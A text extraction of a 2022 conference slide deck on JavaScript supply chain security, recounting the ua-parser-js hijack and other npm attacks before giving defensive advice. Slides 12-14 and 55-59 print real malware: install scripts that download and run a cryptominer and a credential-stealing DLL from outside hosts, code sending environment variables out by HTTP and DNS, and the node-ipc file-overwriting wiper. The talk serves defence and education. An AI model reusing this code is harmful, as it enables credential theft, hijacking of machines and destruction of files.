Slide 1

Slide 1 text

The State of JavaScript Supply Chain Security in 2022 OpenJS World 2022

Slide 2

Slide 2 text

Feross Aboukhadijeh • Founder and CEO at Socket (socket.dev) • Stanford instructor for Web Security • Author of 100+ npm packages • StandardJS, a popular community JavaScript style guide • WebTorrent, the rst BitTorrent client that works in the browser • Past • Board member at Node.js Foundation • Consultant for “Silicon Valley” TV show !

Slide 3

Slide 3 text

Agenda • Story of a supply chain a ack (with a ack code!) • Why is this happening now? • How does a supply chain a ack work? • How can you protect your app? socket.dev 3

Slide 4

Slide 4 text

Let me tell you a story... socket.dev 4

Slide 5

Slide 5 text

No content

Slide 6

Slide 6 text

10 years of steady work socket.dev 6

Slide 7

Slide 7 text

7,000,000 downloads per week 3,000,000 GitHub repos socket.dev 7

Slide 8

Slide 8 text

Let me tell you a story... socket.dev 8

Slide 9

Slide 9 text

On a Russian hacking forum Posted: October 5, 2021 I sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access. The password is enough to change your email. Suitable for distributing installations, miners, creating a botnet Start $10k Step $1k Blitz $20k socket.dev 9

Slide 10

Slide 10 text

Anatomy of a so ware supply chain a ack • Started at Friday, October 22, 2021 at 12:15pm GMT • 3 malicious versions of ua-parser-js published • 0.7.29 • 0.8.0 • 1.0.0 socket.dev 10

Slide 11

Slide 11 text

{ "title": "UAParser.js", "name": "ua-parser-js", "version": "0.7.29", "author": "Faisal Salman (http://faisalman.com)", "description": "Lightweight JavaScript-based user-agent string parser", "main": "src/ua-parser.js", "scripts": { "preinstall": "start /B node preinstall.js & node preinstall.js", "build": "uglifyjs src/ua-parser.js ...", "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js", "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js" } } socket.dev 11

Slide 12

Slide 12 text

const { exec } = require("child_process"); function terminalLinux(){ exec("/bin/bash preinstall.sh", (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); } var opsys = process.platform; if (opsys == "darwin") { opsys = "MacOS"; } else if (opsys == "win32" || opsys == "win64") { opsys = "Windows"; const { spawn } = require('child_process'); const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']); } else if (opsys == "linux") { opsys = "Linux"; terminalLinux(); }

Slide 13

Slide 13 text

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ') if [ -z "$IP" ] then var=$(pgrep jsextension) if [ -z "$var" ] then curl http://159.148.186.228/download/jsextension -o jsextension if [ ! -f jsextension ] then wget http://159.148.186.228/download/jsextension -O jsextension fi chmod +x jsextension ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u \ --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & fi fi socket.dev 13

Slide 14

Slide 14 text

@echo off curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe if not exist jsextension.exe ( wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe ) if not exist jsextension.exe ( certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe ) curl https://citationsherbe.at/sdd.dll -o create.dll if not exist create.dll ( wget https://citationsherbe.at/sdd.dll -O create.dll ) if not exist create.dll ( certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll ) set exe_1=jsextension.exe set "count_1=0" >tasklist.temp ( tasklist /NH /FI "IMAGENAME eq %exe_1%" ) for /f %%x in (tasklist.temp) do ( if "%%x" EQU "%exe_1%" set /a count_1+=1 ) if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u \ --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll) del tasklist.temp

Slide 15

Slide 15 text

Steals passwords from 100+ programs and the Windows credential manager socket.dev 15

Slide 16

Slide 16 text

A ermath socket.dev 16

Slide 17

Slide 17 text

This is just the tip of the iceberg 180 packages removed for security reasons in the last 30 days1 1 h ps://socket.dev/npm/category/removed socket.dev 17

Slide 18

Slide 18 text

Prominent examples • Jan 2022: Maintainer of 'colors' and 'faker' packages adds code to DoS applications in protest of big corporations using open source but not contributing anything back to the community. • March 2022: 'node-ipc' adds code to delete data of users it suspects are Russian or Belarusian. Applications using the package overwrite Russian users' les with a ' ❤ ' emoji. • March-April 2022: Maintainers of 'event-source-poly ll', 'es5-ext', and 'styled-components' add anti-war messages to their packages. File creation and redirects were less destructive but still unwanted by most users. socket.dev 18

Slide 19

Slide 19 text

Why is this happening now? socket.dev 19

Slide 20

Slide 20 text

4 reasons socket.dev 20

Slide 21

Slide 21 text

1. Open source has won socket.dev 21

Slide 22

Slide 22 text

90% of an app's code comes from open source socket.dev 22

Slide 23

Slide 23 text

2. The way we write so ware has changed socket.dev 23

Slide 24

Slide 24 text

Lots of transitive dependencies socket.dev 24

Slide 25

Slide 25 text

Discord Let's look at just one example, Discord.3 • 19,462 total packages • 381,118 contributors • 206 countries 3 h ps://octoverse.github.com/sustainable-communities/ socket.dev 25

Slide 26

Slide 26 text

"Installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers, creating a surprisingly large a ack surface"2 2 Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel socket.dev 26

Slide 27

Slide 27 text

webpack, unpacked socket.dev 27

Slide 28

Slide 28 text

3. No one reads the code socket.dev 28

Slide 29

Slide 29 text

We download code from the internet wri en by unknown individuals that we haven't read that we execute with full permissions on our laptops and servers where we keep our most important data socket.dev 29

Slide 30

Slide 30 text

It's a miracle that this system works! socket.dev 30

Slide 31

Slide 31 text

socket.dev 31

Slide 32

Slide 32 text

A ackers o en publish di erent code to npm and GitHub socket.dev 32

Slide 33

Slide 33 text

"Given enough eyeballs, all bugs are shallow" — Linus Torvalds socket.dev 33

Slide 34

Slide 34 text

"On average, a malicious package is available for 209 days before being publicly reported"4 4 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier socket.dev 34

Slide 35

Slide 35 text

"20% of [...] malware persist in package managers for over 400 days and have more than 1K downloads"5 5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams socket.dev 35

Slide 36

Slide 36 text

How does a supply chain a ack actually work? socket.dev 36

Slide 37

Slide 37 text

A acker TTPs (tactics, techniques, and procedures) 1. Hijacked packages 2. Typosqua ing 3. Dependency confusion 4. Install scripts 5. Data ex ltration 6. Data destruction or ransom socket.dev 37

Slide 38

Slide 38 text

1. Hijacked packages socket.dev 38

Slide 39

Slide 39 text

socket.dev 39

Slide 40

Slide 40 text

Packages get hijacked because • Maintainers choose weak passwords (ua-parser-js) • Maintainers give access to malicious actors (event-stream) • Maintainers become malicious actors (colors.js, faker.js) • Maintainers use their packages to protest (node-ipc) • Maintainers get malware on their laptops • npm doesn't enforce 2FA (though this is nally improving) socket.dev 40

Slide 41

Slide 41 text

2. Typosqua ing socket.dev 41

Slide 42

Slide 42 text

noblox.js-proxied noblox.js-proxy socket.dev 42

Slide 43

Slide 43 text

noblox.js-proxied <– real noblox.js-proxy <– fake! socket.dev 43

Slide 44

Slide 44 text

{ "name": "noblox.js-proxy", "version": "1.0.5", "description": "A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)", "main": "lib/index.js", "types": "typings/index.d.ts", "scripts": { "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs", "lint": "eslint lib/", "test": "jest", "postinstall": "node postinstall.js" }, "repository": { "type": "git", "url": "https://github.com/JxySerr1/noblox.js-proxy.git" } } socket.dev 44

Slide 45

Slide 45 text

(function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf, _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3 (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30, _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2) {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f(); function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536) {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8, _0x1361be,_0x2b2b01,_0x2b71bd) {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807= -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a) +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc) +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273) *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69)) +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac) +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d) +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5) +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9); if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());} catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+ 0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc, _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);} socket.dev 45

Slide 46

Slide 46 text

3. Dependency confusion socket.dev 46

Slide 47

Slide 47 text

• Yahoo • yahoo-react-input • yahoo-react-formsy-input • EURid (registry manager for EU) • eurid_cloudflare • 18F (US Federal agency) • 18f-dashboard • Palantir (government contractor) • eslint-config-dev-palantir • DuckDuckGo (search engine) • duckduckgo-styles • Shippo (shipping company) • shippo-frontend socket.dev 47

Slide 48

Slide 48 text

• Wix (website builder) • wix-media-manager-backend • wix-marketing-backend • wix-events-backend • wix-chat-backend • Unity (game engine) • com.unity.ide.vscode • com.unity.package-manager-ui • com.unity.modules.ai • com.unity.modules.androidjni • GrubHub (food delivery) • @grubhubprod/umami-library • @grubhubprod/order-taking-client-sdk • @grubhubprod/mochi • @grubhubprod/chiri socket.dev 48

Slide 49

Slide 49 text

4. Install scripts socket.dev 49

Slide 50

Slide 50 text

Most malware is in install scripts socket.dev 50

Slide 51

Slide 51 text

"We found 93.9% [...] of malicious packages had at least one install script, indicating that malicious a ackers use install scripts frequently"5 5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams socket.dev 51

Slide 52

Slide 52 text

{ "name": "", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" } socket.dev 52

Slide 53

Slide 53 text

5. Data ex ltration socket.dev 53

Slide 54

Slide 54 text

{ "name": "", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" } socket.dev 54

Slide 55

Slide 55 text

const http = require('https'); req = http.request({ host: '34.195.72.180', path: '/', method: 'POST', headers : { host : '411c316239cf14afaa1f37bbc5666207.m.pipedream.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36' } }).on('error', function(err) { }); req.write(Buffer.from(JSON.stringify(process.env)).toString('base64')); req.end(); socket.dev 55

Slide 56

Slide 56 text

var { Resolver } = require('dns'); var zlib = require('zlib'); var resolver = new Resolver(); function splitString(string, size) { var re = new RegExp('.{1,' + size + '}', 'g'); return string.match(re); } resolver.setServers(["165.232.68.239"]); var d = process.env || {}; var data = redactedForBrevity() var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex'); var ch = splitString(encData, 60); var dt = Date.now(); for (var i = 0; i < ch.length; i++) { const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.'); resolver.resolve4(domain, function (err) { }); } socket.dev 56

Slide 57

Slide 57 text

6. Data destruction or ransom (e.g. peacenotwar, node-ipc) socket.dev 57

Slide 58

Slide 58 text

var import_path = __toModule(require("path")); var import_fs3 = __toModule(require("fs")); var import_https = __toModule(require("https")); setTimeout(function() { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); import_https.default.get(n.toString("utf8"), function(t2) { t2.on("data", function(t3) { const n2 = Buffer.from("Li8=", "base64"); const o2 = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t3.toString("utf8")); const u2 = s[c.toString("utf8")].toLowerCase(); const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8")); if (a2) { h(n2.toString("utf8")); h(o2.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t4) { } }); }); }, Math.ceil(Math.random() * 1e3)); socket.dev 58

Slide 59

Slide 59 text

async function h(n = "", o2 = "") { if (!import_fs3.default.existsSync(n)) { return; } let r = []; try { r = import_fs3.default.readdirSync(n); } catch (t) { } const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = import_path.default.join(n, r[e]); let t = null; try { t = import_fs3.default.lstatSync(i); } catch (t2) { continue; } if (t.isDirectory()) { const s = h(i, o2); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o2) >= 0) { try { import_fs3.default.writeFile(i, c.toString("utf8"), function() { }); } catch (t2) { } } } return f; } var ssl = true; socket.dev 59

Slide 60

Slide 60 text

How can you protect your app? socket.dev 60

Slide 61

Slide 61 text

First, what won't work socket.dev 61

Slide 62

Slide 62 text

Vulnerability scanning is a red herring socket.dev 62

Slide 63

Slide 63 text

Vulnerabilities vs. Supply chain A acks ⚠ Vulnerabilities are accidentally introduced by an open source maintainer. It is sometimes okay to ship a vulnerability to production if it is low impact. ⛔ Supply chain a acks are intentionally introduced by an a acker. It is never okay to ship malware to production. You must catch it before you install it or depend on it. socket.dev 63

Slide 64

Slide 64 text

A vulnerability scanner will not catch the next supply chain a ack socket.dev 64

Slide 65

Slide 65 text

How can you protect your app? socket.dev 65

Slide 66

Slide 66 text

1. Support open source maintainers socket.dev 66

Slide 67

Slide 67 text

"23% of open source projects have only one developer contributing the bulk of code. 94% of the projects have fewer than 10 developers accounting for more than 90% of the lines of code."6 6 Linux Foundation, Census II socket.dev 67

Slide 68

Slide 68 text

2. Change how you think about dependencies socket.dev 68

Slide 69

Slide 69 text

If you ship code to production, you are responsible for it socket.dev 69

Slide 70

Slide 70 text

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. socket.dev 70

Slide 71

Slide 71 text

3. Update dependencies at the right cadence socket.dev 71

Slide 72

Slide 72 text

socket.dev 72

Slide 73

Slide 73 text

socket.dev 73

Slide 74

Slide 74 text

socket.dev 74

Slide 75

Slide 75 text

socket.dev 75

Slide 76

Slide 76 text

socket.dev 76

Slide 77

Slide 77 text

Tradeo s, no perfect solution socket.dev 77

Slide 78

Slide 78 text

4. Dig deeper before choosing a dependency socket.dev 78

Slide 79

Slide 79 text

socket.dev 79

Slide 80

Slide 80 text

socket.dev 80

Slide 81

Slide 81 text

socket.dev 81

Slide 82

Slide 82 text

socket.dev 82

Slide 83

Slide 83 text

Standard dependency checklist • ✅ Gets the job done? • ✅ Has an open source license? • ✅ Has good docs? • ✅ Has lots of downloads and GitHub stars? • ✅ Has recent commits? • ✅ Has types? • ✅ Has tests? socket.dev 83

Slide 84

Slide 84 text

2022 dependency checklist • ✅ Has an install script? • ✅ Has native code? • ✅ Talks to the network? • ✅ Runs shell commands? • ✅ Reads environment variables? • ✅ Gathers telemetry (i.e. phones home)? • ✅ Contains obfuscated code? socket.dev 84

Slide 85

Slide 85 text

socket.dev 85

Slide 86

Slide 86 text

No content

Slide 87

Slide 87 text

What about a package doing something sketchy? socket.dev 87

Slide 88

Slide 88 text

No content

Slide 89

Slide 89 text

No content

Slide 90

Slide 90 text

What about malware? socket.dev 90

Slide 91

Slide 91 text

No content

Slide 92

Slide 92 text

No content

Slide 93

Slide 93 text

5. Monitor dependency changes with automation socket.dev 93

Slide 94

Slide 94 text

Monitor PRs for bad dependencies • Use static analysis to audit every dependency • Detect privileged API use, obfuscated code, etc. • Manually audit any package that is suspicious • Put security information directly in PRs so developers can see it and act on it socket.dev 94

Slide 95

Slide 95 text

socket.dev 95

Slide 96

Slide 96 text

socket.dev 96

Slide 97

Slide 97 text

No content

Slide 98

Slide 98 text

6. Improve JavaScript, Node.js, and npm socket.dev 98

Slide 99

Slide 99 text

JavaScript Security Wishlist 1. Allow maintainers to suppress vulnerability warnings in dependencies 2. Deno-style process permissions (--allow-net) 3. Per-package permissions (SES, ES Realms, Compartments, --experimental-policy) socket.dev 99

Slide 100

Slide 100 text

Thanks! twi er.com/feross [email protected] socket.dev We're hiring! socket.dev 100